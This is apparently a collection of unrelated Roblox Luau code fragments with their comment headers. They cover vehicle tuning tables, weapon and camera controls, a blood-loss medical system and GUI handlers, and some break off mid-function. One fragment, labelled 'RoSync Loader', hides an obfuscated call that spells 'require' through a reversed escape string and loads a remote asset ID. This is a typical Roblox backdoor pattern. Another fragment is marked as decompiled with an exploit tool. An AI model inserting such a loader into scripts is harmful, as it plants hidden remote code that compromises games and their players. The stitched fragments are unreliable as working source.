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---|---|
-----------------
|
sensoring1 = Instance.new("Part", Player.Character.Torso)
sensoring1.Size = Vector3.new(1.2,1.1,0.8)
sensoring1.CanCollide = false
sensoring1.Position = Player.Character.Torso.Position
local welder1 = Instance.new("Weld", sensoring)
welder1.Part0 = Player.Character.Torso
welder1.Part1 = sensoring1
welder1.C0 = welder1.C0 * CFrame.new(0,0,-1.05)
sensoring1.Transparency = 1
local function touch()
if not using then
using = true
wait(0.1)
using = false
end
end
sensoring.Touched:connect(touch)
sensoring1.Touched:connect(touch)
|
--!strict
|
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local fmt = string.format
local OPT_AXIS_ATTRIBUTE = "Axis"
local OPT_AXIS = "Z"
local OPT_DEGREES_ATTRIBUTE = "Degrees"
local OPT_DEGREES = 1
local ERR_NOT_MODEL = "Rotate expects a Model, but got %q (%s)"
local Obstacle = {}
Obstacle.__index = Obstacle
function Obstacle.new(model: Model)
assert(model:IsA("Model"), fmt(ERR_NOT_MODEL, model:GetFullName(), model.ClassName))
local self = setmetatable({}, Obstacle)
self._events = {}
self._model = model
self._distance = model:GetModelSize().Magnitude * 2
self._rotation = 0
self._axis = model:GetAttribute(OPT_AXIS_ATTRIBUTE) or OPT_AXIS
self._degrees = model:GetAttribute(OPT_DEGREES_ATTRIBUTE) or OPT_DEGREES
self._initCFrame = model:GetPrimaryPartCFrame()
local bodyPosition = Instance.new("BodyPosition")
local bodyGyro = Instance.new("BodyGyro")
bodyPosition.P = 1e5
bodyPosition.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
bodyPosition.Position = self._model:GetPrimaryPartCFrame().Position
bodyPosition.Parent = model.PrimaryPart
bodyGyro.P = 1e4
bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5)
bodyGyro.Parent = model.PrimaryPart
self._bodyPosition = bodyPosition
self._bodyGyro = bodyGyro
-- TODO: Defer render to global handler
table.insert(self._events, RunService.Heartbeat:Connect(function()
self:RenderUpdate()
end))
return self
end
function Obstacle:GetRotationCFrame(): CFrame
(self::any)._rotation += self._degrees::number % 360
local degrees = math.rad(self._rotation)
if self._axis == "X" then
return CFrame.Angles(degrees, 0, 0)
elseif self._axis == "Y" then
return CFrame.Angles(0, degrees, 0)
end
return CFrame.Angles(0, 0, degrees)
end
function Obstacle:RenderUpdate()
local angles = self:GetRotationCFrame()
self._bodyGyro.CFrame = self._initCFrame * angles
end
function Obstacle:Destroy()
for _, event: RBXScriptConnection in ipairs(self._events) do
event:Disconnect()
end
end
return Obstacle
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Parent__1 = script.Parent;
local l__SocialService__1 = game:GetService("SocialService");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
function onButtonPressed()
local v2, v3 = pcall(function()
return l__SocialService__1:CanSendGameInviteAsync(l__LocalPlayer__2);
end);
if v3 == true then
l__SocialService__1:PromptGameInvite(l__LocalPlayer__2);
end;
end;
l__Parent__1.MouseButton1Click:Connect(onButtonPressed);
l__Parent__1.TouchTap:Connect(onButtonPressed);
|
--------------------[ MOUSE FUNCTIONS ]-----------------------------------------------
|
function onMB1Down()
MB1Down = true
firstShot = true
if fireFunction then
fireFunction()
end
end
function onMB1Up()
MB1Down = false
lowerSpread()
end
function onMB2Down()
if S.aimSettings.holdToADS then
if (not AimingIn) and (not Aimed) then
AimingIn = true
aimGun()
AimingIn = false
end
else
if Aimed then
unAimGun()
else
aimGun()
end
end
end
function onMB2Up()
if S.aimSettings.holdToADS then
if (not AimingOut) and Aimed then
AimingOut = true
unAimGun()
AimingOut = false
end
end
end
function onScrollUp()
local newAimSensitivity = aimSensitivity + S.sensitivitySettings.Increment
aimSensitivity = (
newAimSensitivity < S.sensitivitySettings.Min and S.sensitivitySettings.Min or
newAimSensitivity > S.sensitivitySettings.Max and S.sensitivitySettings.Max or
newAimSensitivity
)
mouseSensitivity = (Aimed and aimSensitivity or mouseSensitivity)
Sens.Text = "S: "..aimSensitivity
if mainGUI:IsDescendantOf(game) then
Sens.Visible = true
local t0 = tick()
lastSensUpdate = t0
wait(0.3)
if lastSensUpdate <= t0 then
Sens.Visible = true
end
end
end
function onScrollDown()
local newAimSensitivity = aimSensitivity - S.sensitivitySettings.Increment
aimSensitivity = (
newAimSensitivity < S.sensitivitySettings.Min and S.sensitivitySettings.Min or
newAimSensitivity > S.sensitivitySettings.Max and S.sensitivitySettings.Max or
newAimSensitivity
)
mouseSensitivity = (Aimed and aimSensitivity or mouseSensitivity)
Sens.Text = "S: "..aimSensitivity
if mainGUI:IsDescendantOf(game) then
Sens.Visible = true
local t0 = tick()
lastSensUpdate = t0
wait(0.3)
if lastSensUpdate <= t0 then
Sens.Visible = true
end
end
end
|
--[[Misc]]
|
Tune.LoadDelay = .5 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = true -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
--
--mouse.KeyDown:connect(
-- function(key)
-- if key == 'c' then
-- Chassis.Redress()
-- end
-- end
--)
|
game:GetService("UserInputService").InputBegan:connect(
function(input, processed)
if( (input.KeyCode == Enum.KeyCode.ButtonX or input.KeyCode == Enum.KeyCode.C) and input.UserInputState == Enum.UserInputState.Begin ) then
Chassis.Redress()
end
end
)
|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.G and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and energy.Value > 40 then
Debounce = 2
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
script.RemoteEventS:FireServer()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.G and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 3
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
wait(1)
plr.Character.LeftHand.EFhand:Destroy()
plr.Character.RightHand.EFhand:Destroy()
Track2:Stop()
wait(.5)
Tool.Active.Value = "None"
wait(1.5)
plr.Character.HumanoidRootPart.Anchored = false
wait(5)
Debounce = 1
end
end)
|
-- Function to call on renderstepped. Orients the character so it is facing towards
-- the player mouse's position in world space. If character is sitting then the torso
-- should not track
|
local function frame(mousePosition)
-- Special mobile consideration. We don't want to track if the user was touching a ui
-- element such as the movement controls. Just return out of function if so to make sure
-- character doesn't track
if not mobileShouldTrack then return end
-- Make sure character isn't swiming. If the character is swimming the following code will
-- not work well; the character will not swim correctly. Besides, who shoots underwater?
if player.Character.Humanoid:GetState() ~= Enum.HumanoidStateType.Swimming then
local torso = player.Character.Torso
local head = player.Character.Head
local toMouse = (mousePosition - head.Position).unit
local angle = math.acos(toMouse:Dot(Vector3.new(0,1,0)))
local neckAngle = angle
-- Limit how much the head can tilt down. Too far and the head looks unnatural
if math.deg(neckAngle) > 110 then
neckAngle = math.rad(110)
end
neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.pi - neckAngle,math.pi,0)
-- Calculate horizontal rotation
local arm = player.Character:FindFirstChild("Right Arm")
local fromArmPos = torso.Position + torso.CFrame:vectorToWorldSpace(Vector3.new(
torso.Size.X/2 + arm.Size.X/2, torso.Size.Y/2 - arm.Size.Z/2, 0))
local toMouseArm = ((mousePosition - fromArmPos) * Vector3.new(1,0,1)).unit
local look = (torso.CFrame.lookVector * Vector3.new(1,0,1)).unit
local lateralAngle = math.acos(toMouseArm:Dot(look))
-- Check for rogue math
if tostring(lateralAngle) == "-1.#IND" then
lateralAngle = 0
end
-- Handle case where character is sitting down
if player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Seated then
local cross = torso.CFrame.lookVector:Cross(toMouseArm)
if lateralAngle > math.pi/2 then
lateralAngle = math.pi/2
end
if cross.Y < 0 then
lateralAngle = -lateralAngle
end
end
-- Turn shoulder to point to mouse
shoulder.C0 = CFrame.new(1,0.5,0) * CFrame.Angles(math.pi/2 - angle,math.pi/2 + lateralAngle,0)
-- If not sitting then aim torso laterally towards mouse
if not amISitting(player.Character) then
torso.CFrame = CFrame.new(torso.Position, torso.Position + (Vector3.new(
mousePosition.X, torso.Position.Y, mousePosition.Z)-torso.Position).unit)
end
end
end
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = 0
Tune.RCamber = 0
Tune.FToe = 0
Tune.RToe = 0
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.P ,
--Handbrake
PBrake = Enum.KeyCode.LeftShift ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Camo",Paint)
end)
|
--[[ The Module ]]
|
--
local BaseOcclusion = require(script.Parent:WaitForChild("BaseOcclusion"))
local Invisicam = setmetatable({}, BaseOcclusion)
Invisicam.__index = Invisicam
function Invisicam.new()
local self = setmetatable(BaseOcclusion.new(), Invisicam)
self.char = nil
self.humanoidRootPart = nil
self.torsoPart = nil
self.headPart = nil
self.childAddedConn = nil
self.childRemovedConn = nil
self.behaviors = {} -- Map of modes to behavior fns
self.behaviors[MODE.LIMBS] = self.LimbBehavior
self.behaviors[MODE.MOVEMENT] = self.MoveBehavior
self.behaviors[MODE.CORNERS] = self.CornerBehavior
self.behaviors[MODE.CIRCLE1] = self.CircleBehavior
self.behaviors[MODE.CIRCLE2] = self.CircleBehavior
self.behaviors[MODE.LIMBMOVE] = self.LimbMoveBehavior
self.behaviors[MODE.SMART_CIRCLE] = self.SmartCircleBehavior
self.behaviors[MODE.CHAR_OUTLINE] = self.CharacterOutlineBehavior
self.mode = MODE.SMART_CIRCLE
self.behaviorFunction = self.SmartCircleBehavior
self.savedHits = {} -- Objects currently being faded in/out
self.trackedLimbs = {} -- Used in limb-tracking casting modes
self.camera = game.Workspace.CurrentCamera
self.enabled = false
return self
end
function Invisicam:Enable(enable)
self.enabled = enable
if not enable then
self:Cleanup()
end
end
function Invisicam:GetOcclusionMode()
return Enum.DevCameraOcclusionMode.Invisicam
end
|
-- Requires
|
local FirstPersonRigAssembly = require(ReplicatedStorage.Common.FirstPersonRigAssembly)
local Database = require(ReplicatedStorage.Common.Database)
|
-- Table that will store info for each falling object
|
local fallingStuffTable = {}
|
--gui data
|
local gui = tool:WaitForChild("gui")
local ammogui = gui:WaitForChild("ammo")
local maggui = ammogui:WaitForChild("mag")
local chamberedgui = ammogui:WaitForChild("chambered")
magleft.Changed:Connect(function(new)
maggui.Text = tostring(new)
end)
binmag.Changed:Connect(function(new)
ammogui.Text = tostring(new)
end)
bchambered.Changed:Connect(function(new)
chamberedgui.Text = tostring(new)
end)
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
------//Patrol Animations
|
self.RightPatrol = CFrame.new(-.85, 0.75, -1.3) * CFrame.Angles(math.rad(-30), math.rad(-90), math.rad(0));
self.LeftPatrol = CFrame.new(1.5,1.1,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0));
self.RightElbowPatrol = CFrame.new(0,-0.2,-.1) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0));
self.LeftElbowPatrol = CFrame.new(0,-0.15,-0.25) * CFrame.Angles(math.rad(-50), math.rad(0), math.rad(0));
self.RightWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-15));
self.LeftWristPatrol = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(-90), math.rad(0));
|
-- Makes copies of all the admin tools and puts them in target
|
wait (5)
local function CloneAdminTools(target)
for _, tool in pairs(AdminTools:GetChildren()) do
local toolClone = tool:Clone()
toolClone.Parent = target
end
end
|
--[[
game.Workspace.Player.Humanoid.Running:Connect(function(speed)
if speed > 1 and Sangrando.Value == true then
Sang.Value = (Sang.Value - (MLs.Value/30))
end
if speed > 1 and bbleeding.Value == true then
Sang.Value = (Sang.Value - (MLs.Value/30))
end
end)
]]
|
--
while configuracao.EnableMedSys do
wait()
if Sangrando.Value == true then
if PastasStan.Tourniquet.Value == false then
Sang.Value = (Sang.Value - (MLs.Value/60))
MLs.Value = MLs.Value + 0.025
if PastasStan.skit.Value == true then
Sang.Value = Sang.Value - (MLs.Value/500)
end
UltimoSang = Sang.Value
end
end
if bbleeding.Value == true then
if PastasStan.Tourniquet.Value == false then
Sang.Value = (Sang.Value - (MLs.Value/100))
elseif PastasStan.Tourniquet.Value == true then
Sang.Value = (Sang.Value - (MLs.Value/220))
end
MLs.Value = MLs.Value + 0.025
if PastasStan.skit.Value == true then
Sang.Value = Sang.Value - (MLs.Value/500)
end
UltimoSang = Sang.Value
end
if balloonbleed.Value == true then
Sang.Value = (Sang.Value - (MLs.Value/10000))
MLs.Value = MLs.Value + 0.025
if PastasStan.skit.Value == true then
Sang.Value = Sang.Value - (MLs.Value/300)
end
UltimoSang = Sang.Value
end
if surg2.Value == true then
Sang.Value = (Sang.Value - (MLs.Value/110))
MLs.Value = MLs.Value + 0.025
if PastasStan.skit.Value == true then
Sang.Value = Sang.Value - (MLs.Value/300)
end
UltimoSang = Sang.Value
end
if clamped.Value == true then
Sang.Value = (Sang.Value - (MLs.Value/1000))
MLs.Value = MLs.Value + 0.025
UltimoSang = Sang.Value
end
if cutopen.Value == true then
Sang.Value = (Sang.Value - (MLs.Value/600))
MLs.Value = MLs.Value + 0.025
UltimoSang = Sang.Value
end
--hey mop removed o2 if you see this hah--
if PastasStan.Tourniquet.Value == true then
Dor.Value = Dor.Value + 0.1
end
if (human.Health - ultimavida < 0) then
Dor.Value = math.ceil(Dor.Value + (human.Health - ultimavida)*(-configuracao.PainMult))
--Energia.Value = math.ceil(Energia.Value + (human.Health - ultimavida)*(5))
end
if (human.Health - ultimavida < 0) --[[and (Sangrando.Value == true)]] then
MLs.Value = MLs.Value + ((ultimavida - human.Health)* (configuracao.BloodMult))
end
if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.BleedDamage) then
Sangrando.Value = true
if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.InjuredDamage) then
Ferido.Value = true
bbleeding.Value = true
Sangrando.Value = true
if script.Parent.Parent.Humanoid.Health < ultimavida -(configuracao.KODamage) then
Caido.Value = true
local bruh = math.random(1,2)
if bruh == 2 then
surg2.Value = true
else
surg2.Value = false
end
Sangrando.Value = true
bbleeding.Value = true
end
end
end
if script.Parent.Parent.Humanoid.Health <= 2 then
rodeath.Value = true
human.PlatformStand = true
human.AutoRotate = false
Caido.Value = true
--cpr.Value = false
life.Value = false
--Sangrando.Value = true
bbleeding.Value = true
end
if human.Health >= human.MaxHealth and Sangrando.Value == false then
Sang.Value = Sang.Value + 0.5
Dor.Value = Dor.Value - 0.025
MLs.Value = MLs.Value - 0.025
end
ultimavida = script.Parent.Parent.Humanoid.Health
spawn(function(timer)
if Sang.Value >= 3500 and Dor.Value < 200 and Caido.Value == true and debounce == false then
debounce = true
wait(60)
debounce = false
end
end)
local currhealth = 100
if life.Value == false or rodeath.Value == true then
human.PlatformStand = true
human.AutoRotate = false
Caido.Value = true
local bruh = math.clamp(MLs.Value/8000, 0.1, 0.14)
if o2.Value == true then
bruh = 0.005
MLs.Value = 0
end
human.Health = human.Health - bruh
if PastasStan.Tourniquet.Value == false then
Sang.Value = (Sang.Value - (MLs.Value/90))
MLs.Value = MLs.Value + 0.025
else
Sang.Value = (Sang.Value - (MLs.Value/210))
MLs.Value = MLs.Value + 0.025
end
end
end
-- Quero um pouco de credito,plox :P --
-- FEITO 100% POR SCORPION --
-- Oficial Release 1.5 --
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 120 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 220 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 250 ,
spInc = 50 , -- Increment between labelled notches
}
}
|
--[[ Last synced 12/1/2022 07:23 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
--Triggered
--* called when the dialogue has a TriggerDistance and the player
--* walks in range of it. Here so you can manage your interaction
--* buttons, etc. Call the callback to start the dialogue.
|
function Interface.Triggered(dialogue, startDialogueCallback)
end
|
-- Testing AC FE support
|
local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0
event.OnServerEvent:connect(function(player,data)
if data['ToggleLight'] then
if car.Body.Light.on.Value==true then
car.Body.Light.on.Value=false
else
car.Body.Light.on.Value=true
end
elseif data['EnableBrakes'] then
car.Body.Brakes.on.Value=true
elseif data['DisableBrakes'] then
car.Body.Brakes.on.Value=false
elseif data['ToggleLeftBlink'] then
if car.Body.Left.on.Value==true then
car.Body.Left.on.Value=false
else
car.Body.Left.on.Value=true
car.Body.Right.on.Value=false
end
elseif data['ToggleRightBlink'] then
if car.Body.Right.on.Value==true then
car.Body.Right.on.Value=false
else
car.Body.Right.on.Value=true
car.Body.Left.on.Value=false
end
elseif data['ReverseOn'] then
car.Body.Reverse.on.Value=true
elseif data['ReverseOff'] then
car.Body.Reverse.on.Value=false
elseif data['ToggleStandlicht'] then
if LichtNum == 0 then
LichtNum = 2
car.Body.Headlight.on.Value = true
elseif LichtNum == 1 then
LichtNum = 2
car.Body.Headlight.on.Value = true
elseif LichtNum == 2 then
LichtNum = 3
car.Body.Highlight.on.Value = true
elseif LichtNum == 3 then
LichtNum = 1
car.Body.Highlight.on.Value = false
car.Body.Headlight.on.Value = false
end
elseif data['ToggleHazards'] then
if car.Body.Right.on.Value==true and car.Body.Left.on.Value==true then
car.Body.Right.on.Value=false
car.Body.Left.on.Value=false
else
car.Body.Right.on.Value=true
car.Body.Left.on.Value=true
end
end
end)
|
-- Create target box pool
|
local TargetBoxPool = InstancePool.new(60, function ()
return Make 'SelectionBox' {
Name = 'BTTargetBox',
Parent = GetCore().UI,
LineThickness = 0.025,
Transparency = 0.5,
Color = BrickColor.new 'Institutional white'
}
end)
|
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=70
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
CRot = CRot + script.Parent.Values.SteerC.Value*-10
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="z" then
look=50
elseif key=="x" then
if intcam then
look=-160
else
look=-180
end
elseif key=="c" then
look=-50
elseif key=="v" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="z" and look==50 then
look=0
elseif key=="x" and (look==-160 or look==-180) then
look=0
elseif key=="c" and look==-50 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
------------------------------------------
|
local pit = gui.PitchControl
pit.TextLabel.Text = ("Pitch: "..(radio.Pitch.Value*10).."%")
radio.Pitch.Changed:connect(function()
pit.TextLabel.Text = ("Pitch: "..(radio.Pitch.Value*10).."%")
end)
pit.Up.MouseButton1Click:connect(function()
radio.Pitch.Value = math.min(radio.Pitch.Value+.5,50)
end)
pit.Down.MouseButton1Click:connect(function()
radio.Pitch.Value = math.max(radio.Pitch.Value-.5,0)
end)
|
--[[
Runs a non-promise-returning function as a Promise with the
given arguments.
]]
|
function Promise._try(traceback, callback, ...)
local valuesLength, values = pack(...)
return Promise._new(traceback, function(resolve)
resolve(callback(unpack(values, 1, valuesLength)))
end)
end
|
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
